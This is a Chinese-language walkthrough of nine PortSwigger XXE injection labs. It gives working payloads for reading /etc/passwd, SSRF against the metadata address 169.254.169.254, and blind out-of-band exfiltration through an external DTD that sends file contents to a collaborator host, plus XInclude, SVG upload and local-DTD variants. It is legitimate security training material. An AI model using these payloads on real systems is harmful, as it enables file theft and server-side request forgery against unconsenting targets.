Portswigger 靶场之 XML 外部实体注入(XEE)
- 1. Exploiting XXE using external entities to retrieve files
- 2. Exploiting XXE to perform SSRF attacks
- 3. Blind XXE with out-of-band interaction
- 4. Blind XXE with out-of-band interaction via XML parameter entities
- 5. Exploiting blind XXE to exfiltrate data using a malicious external DTD
- 6. Exploiting blind XXE to retrieve data via error messages
- 7. Exploiting XInclude to retrieve files
- 8. Exploiting XXE via image file upload
- 9. Exploiting XXE to retrieve data by repurposing a local DTD
1. Exploiting XXE using external entities to retrieve files
使用外部实体利用 XXE 来检索文件
检查库存功能用 burp 截断数据包,然后松手在 HTTP History 中查看请求,转到 Repeater。
往下看,当看到 XML 的时候,应该考虑 XXE 注入。接下来就是找到注入点,具体位置有两个,一个是 productId,另一个是 storeId。
在 XML 声明和元素 stockCheck 之间插入外部实体定义。
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# 定义了一个名为 xxe 的实体,它指向文件系统中的 /etc/passwd 文件。
2. Exploiting XXE to perform SSRF attacks
利用 XXE 执行 SSRF 攻击
依旧是抓包检查库存功能,会发现有一个包含 XML 的帖子请求。
声明一个外部实体,不再引用本地文件而是查看是否可以发送到 IP 地址169.254.169.254
Send 发送请求,从响应中得到目录,连续往下遍历目录,最后获得敏感信息。
3. Blind XXE with out-of-band interaction
带外交互的盲 XXE
访问产品页面,单击“检查库存”并在 Burp 中拦截请求。
定义外部实体,插入 Burp 的协作子域名。转到“子域名”选项卡,然后单击“Poll now”。 可以看到 DNS 和 HTTP 交互。它的作用是,确认我们可以让应用程序与攻击者控制的对话服务器,为带外渗透做好准备
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://1hj71n3ymgjdmmtrt6ye3mqcf3lt9i.oastify.com"> ]>
4. Blind XXE with out-of-band interaction via XML parameter entities
通过 XML 参数实体进行带外交互的盲 XXE
外带交互的盲 XXE 是通过利用 XML 解析器向外部服务器(burp 子域)发送数据,使得攻击者可以通过外部服务器与目标系统进行交互。
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://1hj71n3ymgjdmmtrt6ye3mqcf3lt9i.oastify.com"> %xxe; ]>
# 定义了一个名为 xxe 的参数实体,它指向一个远程 URL http://……
# 使用了 % 操作符来引用实体,%xxe --> 表示引用实体xxe
# XML 文档被解析时,实体引用(%xxe; )将会被展开并替换为实体声明中的值(也就是远程 URL),而可能导致系统被攻击者控制的服务器接管。
Quote / 参考
盲XXE(Blind XXE),它可以在没有直接访问应用程序响应的情况下,仍能从应用程序中获取敏感信息。
5. Exploiting blind XXE to exfiltrate data using a malicious external DTD
利用盲 XXE 使用恶意外部 DTD 泄露数据
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://0abk7wm21os9liaqg27kek4ic9iz6o.oastify.com/?x=%file;'>">
%eval;
%exfil;
# 定义了一个名为 file 的外部实体,它包含了 /etc/hostname 文件的内容。可以利用此实体来访问并泄露目标系统中的文件内容
# 这一行定义了一个名为 eval 的外部实体,它包含了一个实体声明 exfil,该实体可将 file 实体的内容发送到攻击者控制的服务器。exfil实体的定义包括一个URL,该URL包含攻击者控制的服务器地址和将file实体的内容作为查询参数的字符串。在这种情况下,exfil实体将文件内容发送到http://0abk7wm21os9liaqg27kek4ic9iz6o.oastify.com/,并将file实体的内容作为查询参数x的值。
# %eval; %exfil; 这两行将eval实体和exfil实体插入到XML文档中。攻击者可以将这些实体插入到一个合法的XML文档中,并发送给目标系统进行解析。在解析XML文档时,目标系统将解析eval实体,然后解析exfil实体,从而触发将file实体的内容发送到攻击者控制的服务器的行为。
将 DTD 文件保存在服务器上,单击“查看漏洞”并记下 URL;用 burp 截断检查库存的请求,定义外部实体
最后返回 Burp Collaborator client,会看到一些 DNS 和 HTTP 交互,特别关注 HTTP 交互,可能包含文件的内容。/etc/hostname
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a57006c0302b2d5c0e221d8013c0082.exploit-server.net/exploit"> %xxe;]>
6. Exploiting blind XXE to retrieve data via error messages
利用盲 XXE 通过错误消息检索数据
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
将 DTD 文件保存在服务器上,单击“查看漏洞”并记下 URL;用 burp 截断检查库存的请求,定义外部实体,会看到一条包含文件内容错误消息
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a42007304c1c092c003856801a900e4.exploit-server.net/exploit"> %xxe;]>
# 定义了一个名为 foo 的 DTD 声明,其中包含了一个名为 xxe的 外部实体。
# xxe 实体的定义包括一个 URL,该 URL 指向服务器上的一个文件,文件包含敏感信息。在这种情况下,可以将获取的信息发送到 https……
7. Exploiting XInclude to retrieve files
利用 XInclude 检索文件
抓包检查库存功能,修改 productId 的值
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
# 这个XML文档定义了一个名为foo的元素,并且通过XML命名空间定义了一个名为xi的前缀,它的命名空间是"http://www.w3.org/2001/XInclude"。然后,它使用了`xi:include`元素来指定要包含的内容,包括`parse`和`href`属性。
# parse属性指定了包含的文件是以文本方式解析的,而不是XML方式解析。href属性指定了要包含的文件的路径,这里是file:///etc/passwd,也就是本地系统上的/etc/passwd文件。由于该文件包含有关用户帐户的信息,因此攻击者可以使用这种技术来收集系统信息并进行其他攻击。
8. Exploiting XXE via image file upload
通过图像文件上传利用XXE
下载一个SVG 文件(注意不要太大),上传 SVG 文件,发表评论的时候抓包,修改 SVG 文件的内容
Expand / 拓展
SVG 文件是由 XML 构成的,因此可以使用 XML 的各种功能来嵌入数据或 payload 到 SVG 图像中。由于 SVG 图像可以包含文本、图形和脚本等元素,因此可以使用这些元素来嵌入payload
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
# 当SVG文件被处理时,xxe实体会被解析为文件/etc/hostname的内容,然后将该内容作为文本元素的内容插入到SVG图像中,从而显示该文件的内容。
9. Exploiting XXE to retrieve data by repurposing a local DTD
利用 XXE 通过重新调整本地 DTD 的用途来检索数据
抓包检查库存功能
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
# 定义名为“file”的实体,并将其设置为/etc/passwd文件的路径,然后通过将这个实体插入到另一个名为“eval”的实体中,最终触发了漏洞,导致可以读取系统上的/etc/passwd文件的内容。同时,攻击者也定义了一个名为“error”的实体,用于报告错误信息。